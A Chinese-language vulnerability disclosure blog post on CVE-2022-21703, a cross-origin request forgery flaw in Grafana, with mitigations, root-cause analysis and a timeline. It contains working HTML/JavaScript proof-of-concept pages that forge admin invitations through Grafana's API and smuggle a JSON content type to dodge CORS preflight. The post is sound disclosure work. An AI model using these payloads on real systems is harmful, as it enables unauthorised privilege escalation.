目录导航
这篇文章是一篇关于CVE-2022-21703 的文章,这是我和 bug 赏金猎人abrahack共同努力的结果。如果您使用或打算使用 Grafana,您至少应该阅读以下部分。
CVE-2022-21703简介
关于Grafana
Grafana是一种流行的开源工具,它的自我描述如下:
Grafana 允许您查询、可视化、提醒和了解您的指标,无论它们存储在哪里。与您的团队创建、探索和共享漂亮的仪表板,并培养数据驱动的文化。
Grafana Labs提供托管 Grafana 实例,但您也可以将 Grafana 部署为自托管实例。它受欢迎的一个迹象是,Gitlab 和 SourceGraph 等广泛使用的工具的最新版本随Grafana一起提供。
核心发现
- Grafana(v7.5.15 之前的版本,以及 v8.3.5 之前的 v8.xx 版本)容易受到跨域请求伪造的影响。
- Grafana 的 HTTP API的所有基于 GET和 POST 的端点都会受到影响。
- 例如,通过利用一些同站点漏洞,匿名攻击者可以诱骗经过身份验证的高权限 Grafana 用户提升攻击者对目标 Grafana 实例的权限。
- 已配置为允许对经过身份验证的仪表板进行框架嵌入 的 Grafana 实例面临更高的跨域攻击风险。
缓解措施
无论您的情况和缓解方法如何,您都应该随后审核您的 Grafana 实例是否有可疑活动。意识到跨域攻击可能性的攻击者可能已经对您的 Grafana 实例进行了此类攻击。
更新 Grafana
如果可以,请将您的 Grafana 实例更新为v7.5.15 或v8.3.5。在撰写本文时,我还没有机会查看 Grafana 的修复程序,但它应该可以保护您免受 CVE-2022-21703 的侵害,无论您的配置如何。
如果您无法更新
如果您无法立即更新 Grafana,则更难以实现针对 CVE-2022-21703 的有效保护。考虑在反向代理级别阻止针对您的 Grafana 实例的所有跨域请求;不过,我意识到这并非在所有情况下都是可能的。
如果,也许是为了启用Grafana 仪表板的框架嵌入,您偏离了 Grafana 的默认配置并设置了
cookie_samesite
property 设置为none
,cookie_secure
property 设置为true
,
您面临的风险会增加,因为攻击可以从任何来源(不仅仅是来自同一站点的来源)进行。在这种情况下,请采取以下措施:
- 考虑将您的 Grafana 实例隐藏在 VPN 后面。如果跨域攻击者已经知道您的 Grafana 实例所在的位置,这不会阻止他们,但是在绝望的时候需要采取绝望的措施,例如通过默默无闻的安全性。
- 警告您的员工在未来几天可能发生的网络钓鱼攻击。
- 持续监控 Grafana 实例中的敏感活动(添加高权限用户等)。
如果您已将该cookie_samesite
属性设置为disabled
,请警告您的 Grafana 用户避免使用尚未默认设置Lax
为SameSite
cookie 属性的浏览器(最值得注意的是Safari);支持基于 Chromium 的浏览器或 Firefox。
如果该cookie_samesite
属性设置为lax
(默认)或strict
,您应该仔细检查子域的安全性。排除跨站点脚本 (XSS) 或子域接管的可能性,这些 Web 源与 Grafana 实例所在的 Web 源 位于同一站点。
更多细节
我们研究的起源
受最近在 Grafana 中发现的漏洞的启发,尤其是Justin Gardner的 解读 SSRF (CVE-2021-13379) 和Jordy Versmissen的 路径遍历 (CVE-2021-43798),我们决定在流行的可视化工具。我们应该先看哪里?
一些有影响力的信息安全人物(最著名的是Troy Hunt)很快宣布跨站请求伪造 (CSRF)已死,因为Chromium和Firefox都 开始默认使用cookie 属性Lax
的值。不过,根据我的经验,这个公告充其量只是一个近似值。最坏的情况是具有欺骗性和有害的夸张。SameSite
CSRF:“关于我死亡的报道被夸大了。” #信息安全— jub0bs (@jub0bs)
特别是,最近站点一词所经历的含义转变 使有关跨域攻击的讨论变得复杂。早在创造跨站点请求伪造一词 的那一天,站点并没有它现在享有的更精确的含义。CSRF 是从不同Web 来源发出的所有状态更改请求伪造攻击的总称。许多从业者仍然以这种方式使用 CSRF,经常忽略SameSite
cookie 属性只是作为一种纵深防御机制 ,它对跨域、同站点攻击无能为力。我在 我之前的一篇博文中写了大量关于这个主题的文章.
另一个经常混淆的来源是 跨域资源共享 (CORS),这是一种选择性放宽同源策略限制的协议。众所周知,许多开发人员没有牢牢掌握 CORS,并且对该协议的错误假设是更精明的攻击者跨域滥用的诱因。
这些关于SameSite
CORS 的考虑自然导致我们仔细研究 Grafana 对跨域攻击的防御。
概念证明(POC)
下面的概念证明表明,通过使用默认配置对 Grafana 实例发起同站点攻击,攻击者可以欺骗Grafana Admin 邀请攻击者作为组织管理员。
在 Docker 中运行 Grafana Enterprise (<= v8.3.4) 的本地实例;我将它绑定到端口 3000,在这种情况下:
docker run -d -p 3000:3000 grafana/grafana-enterprise:8.3.2
作为受害者,使用Grafana默认密码 ( admin) 访问http://localhost:3000/login
并进行身份验证。Grafana 会提示你重置密码;您可以安全地跳过此步骤。您现在应该以 Grafana 管理员身份登录。adminadmin
访问http://localhost:3000/org/users
;在此阶段,该页面上不应列出任何待处理的用户邀请。
将以下恶意代码片段保存到名为index.html
:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function csrf(name, email) {
const url = "http://localhost:3000/api/org/invites";
const data = {
"name": name,
"loginOrEmail": email,
"role": "Admin",
"sendEmail": false
};
const opts = {
method: "POST",
mode: "no-cors",
credentials: "include",
headers: {"Content-Type": "text/plain; json"},
body: JSON.stringify(data)
};
fetch(url, opts);
}
csrf("attacker", "[email protected]");
</script>
</body>
</html>
作为受害者,index.html
在同一浏览器中打开文件。观察页面发出的请求http://localhost:3000/api/org/invites
不携带grafana_session
cookie,因为发出源 ( null
) 与目标源 ( http://localhost:3000
) 不同。因此,服务器响应401 Unauthorized
响应,攻击失败。
现在将 HTTP 服务器绑定到不同的端口(此处为 8081)localhost
,以便为相同的恶意页面提供服务。如果你的机器上安装了 Go,你可以简单地将以下代码片段保存到一个名为main.go
(在同一文件夹中index.html
)的文件中,
package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir(".")))
http.ListenAndServe(":8081", nil)
}
然后通过运行启动该服务器go run main.go
作为受害者,访问http://localhost:8081
. 请注意,这一次(与此 PoC 的第 5 步相反),伪造的请求http://localhost:3000/api/org/invites
确实携带了grafana_session
cookie,因为发出源 ( http://localhost:8081
) 与目标源 ( ) 是同一站点http://localhost:3000
。服务器响应200 OK
响应,表示攻击成功。
通过重新访问确认攻击成功http://localhost:3000/org/users
;现在应该有一个新的待定用户邀请攻击者。
不服气?
这种本地概念证明可能不足以让您相信攻击在更现实的场景中的可行性。在这种情况下,请遵循相同的步骤,但是,
- 将 Grafana 部署到您控制的安全源(例如
https://grafana.example.com
),以及 - 将恶意页面部署到某个同站点源(例如
https://attack.example.com
)。
根本原因分析
针对 Grafana 的跨域请求伪造的可能性主要源于对SameSite
cookie 属性的过度依赖、弱内容类型验证以及对 CORS 的错误假设。
SameSite 及其限制
任何针对 Grafana API 的伪造请求都需要经过身份验证才能使用。不幸的是,对于攻击者来说,Grafana 自v6.0以来一直明确地将其grafana_session
cookie 标记为SameSite=Lax
默认值。因此,攻击者伪造的请求只有满足以下两个条件之一时才会携带cookie:grafana_session
- 成为顶级导航,或
- 是同一个站点的请求。
第一个条件将攻击者限制为GET
请求。Grafana 的 HTTP API 确实具有一些基于 GET 的状态更改端点(例如/logout
),但它们的影响通常太小而不会引起攻击者的兴趣。
您可能会将第二个条件视为一项艰巨的任务。如果你这样做了,你会惊讶于数量之多的组织——甚至是那些有积极的漏洞赏金计划的组织——它们非常满足于忍受一些 XSS 漏洞或潜在的子域接管一些不起眼的(并且可能超出-范围)子域。我们在研究期间确定了多个此类漏洞赏金目标,我们当然不能声称详尽无遗……
此外,一些 Grafana 管理员可能会选择放宽 Grafana 的默认SameSite
值并配置他们的实例,以便允许 对经过身份验证的仪表板进行框架嵌入,通过设置
allow_embedding
property 设置为true
,cookie_samesite
property 设置为none
,cookie_secure
property 设置为true
,
这样的 Grafana 实例很容易受到旧的CSRF的攻击。攻击者的恶意页面确实可以托管在任何来源,因为对 Grafana API 的所有请求都将携带宝贵的身份验证 cookie,而不管请求的发出来源如何。
最后,一些 Grafana 管理员可能会选择将该cookie_samesite
属性设置为disabled
,以便SameSite
在设置身份验证 cookie 时省略该属性。在 Safari 中对此类 Grafana 实例进行身份验证的人也面临 CSRF 的风险,因为Safari 仍然默认None
使用SameSite
属性。
有趣的是,Grafana 开发人员似乎意识到 ,SameSite
仅此一项就不足以抵御跨域攻击。在v6.0 发布之后,他们实际上打开了一个拉取请求,以添加反 CSRF 令牌,只是为了扭转路线并最终放弃该 PR,在后来的评论 中反对有充分根据的反对意见。
绕过内容类型验证并避免 CORS 预检

我们最初针对 Grafana 的跨域请求伪造尝试涉及一个自动提交的 HTML 表单:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="http://localhost:3000/api/org/invites" method="POST">
<input name="name" value="attacker">
<input name="loginOrEmail" value="[email protected]">
<input name="role" value="Admin">
<input name="sendEmail" value="false">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
此表单提交导致422 Unprocessable Entity
具有以下 JSON 正文:
[{
"fieldNames": ["LoginOrEmail"],
"classification": "RequiredError",
"message":"Required"
}]
这个错误消息让我们有点困惑,因为该loginOrEmail
字段存在于我们的伪造请求的正文中。覆盖表单的默认值会enctype
产生multipart/form-data
相同的响应。然而,一个enctype
的text/plain
产生了一个415 Unsupported Media Type
。有趣……这是否表明 Grafana API 只接受 JSON 请求?我们黑盒测试的下一步涉及使用Fetch API 发出一个带有有效 JSON 正文的简单请求:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function csrf(name, email) {
const url = "http://localhost:3000/api/org/invites";
const data = {
"name": name,
"loginOrEmail": email,
"role": "Admin",
"sendEmail": false
};
const opts = {
method: "POST",
mode: "no-cors",
credentials: "include",
body: JSON.stringify(data)
};
fetch(url, opts);
}
csrf("attacker", "[email protected]");
</script>
</body>
</html>
相应的响应是,就像基于表单的攻击一样text/plain
,a 415 Unsupported Media Type
。显然,Grafana API 正在对请求的内容类型进行一些验证。为了确认我们的直觉,我们将以下代码(请注意第 13 行)粘贴到浏览器窗口的 Console 选项卡中,在该选项卡中我们通过 Grafana 进行了身份验证:
function csrf(name, email) {
const url = "http://localhost:3000/api/org/invites";
const data = {
"name": name,
"loginOrEmail": email,
"role": "Admin",
"sendEmail": false
};
const opts = {
method: "POST",
mode: "no-cors",
credentials: "include",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(data)
};
fetch(url, opts);
}
响应是200 OK
,我们的心沉了下去……这个响应证实了我们的怀疑,即 API 期望的内容类型是application/json
,或者至少是类似的。因为我们是在 Grafana 实例的 Web 源上下文中执行攻击,所以攻击是成功的,但我们知道,如果从不同(即使是同一站点)源执行相同的攻击,事情就不会那么简单了.
为什么?因为,根据Fetch 标准,application/json
跨域请求的内容类型的值为 ,确实会导致浏览器触发CORS 预检;和 Grafana,令它的一些用户感到懊恼的是,它没有为 CORS 配置或配置。因此,CORS 预检将失败,浏览器将永远不会发送实际(恶意)请求。我们似乎撞到了一堵砖墙……但最后一线希望!
您可能已经阅读过指定请求内容类型值而不是
application/x-www-form-urlencoded
,multipart/form-data
, 或者text/plain
将触发 CORS 预检。事实上,直到最近,像MDN Web Docs 这样的权威来源才这么说。多年来,这一说法在网络上一再被逐字回应,包括在Stack Overflow 上的一些高度赞成的答案中。
但是,这种说法是不正确的;Fetch 标准只要求指定为请求内容类型的 MIME 类型的本质 是这三个值之一。一个鲜为人知的事实是,您实际上可以在MIME 类型的参数中偷运其他内容, 而无需触发 CORS 预检。如果服务器的内容类型验证恰好很弱,攻击者可以使用这种走私技巧绕过它:
也许您正在使用可靠的 CORS 配置攻击 API,而您使用“text/plain”的基于表单的 CSRF 攻击失败了,因为服务器回复它需要“application/json”。? 试试这个技巧… 1/3 #bugbountytips— jub0bs (@jub0bs)
发送内容类型为“text/plain; application/json”的 no-CORS 请求。如果您的请求仅包含 CORS 安全列表的标头,则不会触发任何预检请求!? 2/3 https://t.co/q4X1uqpxgI— jub0bs (@jub0bs)
如果星号对齐,则服务器仅检查“application/json”是否在 Content-Type 请求标头的值内_contained_(以允许“application/json; charset=utf-8”等),并且您的攻击会成功。? 3/3— jub0bs (@jub0bs)
交叉手指,我们修改了同站点攻击并实现了这个技巧(见第 20 行):
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function csrf(name, email) {
const url = "http://localhost:3000/api/org/invites";
const data = {
"name": name,
"loginOrEmail": email,
"role": "Admin",
"sendEmail": false
};
const opts = {
method: "POST",
mode: "no-cors",
credentials: "include",
headers: {"Content-Type": "text/plain; application/json"},
body: JSON.stringify(data)
};
fetch(url, opts);
}
csrf("attacker", "[email protected]");
</script>
</body>
</html>
我们收到了200 OK
回复,/org/users
页面列出了以攻击者名义的新邀请!成功!
在向 Grafana 报告我们的发现之前,我们决定深入挖掘并检查Grafana 的代码库 ,以了解究竟发生了什么。Grafana 直到v8.3.2 都依赖go-macaron/binding来处理请求。这是相关的功能,名为bind
:
func bind(ctx *macaron.Context, obj interface{}, ifacePtr ...interface{}) {
contentType := ctx.Req.Header.Get("Content-Type")
if ctx.Req.Method == "POST" || ctx.Req.Method == "PUT" || len(contentType) > 0 {
switch {
case strings.Contains(contentType, "form-urlencoded"):
ctx.Invoke(Form(obj, ifacePtr...))
case strings.Contains(contentType, "multipart/form-data"):
ctx.Invoke(MultipartForm(obj, ifacePtr...))
case strings.Contains(contentType, "json"):
ctx.Invoke(Json(obj, ifacePtr...))
default:
var errors Errors
if contentType == "" {
errors.Add([]string{}, ERR_CONTENT_TYPE, "Empty Content-Type")
} else {
errors.Add([]string{}, ERR_CONTENT_TYPE, "Unsupported Content-Type")
}
ctx.Map(errors)
ctx.Map(obj) // Map a fake struct so handler won't panic.
}
} else {
ctx.Invoke(Form(obj, ifacePtr...))
}
}
观察(在第 9-10 行)内容类型仅包含字符串json
的请求被接受,并且请求正文的 JSON 反序列化正常进行。Go 开发人员,如果您需要验证标头,请Content-Type
支持更专业 的mime.ParseMediaType
功能strings.Contains
!
注意:Grafana v8.3.3实际上 从其代码库中完全删除了go-macaron/binding ,并且不对请求的 content-type执行任何验证。攻击者更容易!
时间线
- 2021 年 11 月:我与 abrahack 合作的开始
- 2021 年 12 月下旬:针对 Grafana 的跨域请求伪造的第一个工作概念证明
- 2022 年 1 月上旬:我们研究了攻击对漏洞赏金目标的可行性。
- 2022 年 1 月 18 日:
- 我们与 Grafana Labs 分享我们的发现。
- 我们向 Gitlab 在 HackerOne 上的漏洞赏金计划提交了一份报告。
- Grafana Labs 承认我们的报告,并恳请我们在他们的管道中有修复程序之前不要披露我们的发现。
- 2022 年 1 月 20 日:Grafana Labs 通知我们他们已请求CVE-2022-21703。
- 2022 年 1 月 21 日:
- 我们邀请Nagli帮助寻找更多可行的目标。
- 我们发现升级的新可能性;更多关于这一点的后续帖子!
- Gitlab 以“信息丰富”的形式结束了我们的报告……
- 2022 年 2 月 8 日:
- Grafana Labs在Grafana v7.5.15和v8.3.5中发布了针对 CVE-2022-21703 的安全修复程序。
- 发表目前的博文。
- 我们继续通知漏洞赏金目标。
转载请注明出处及链接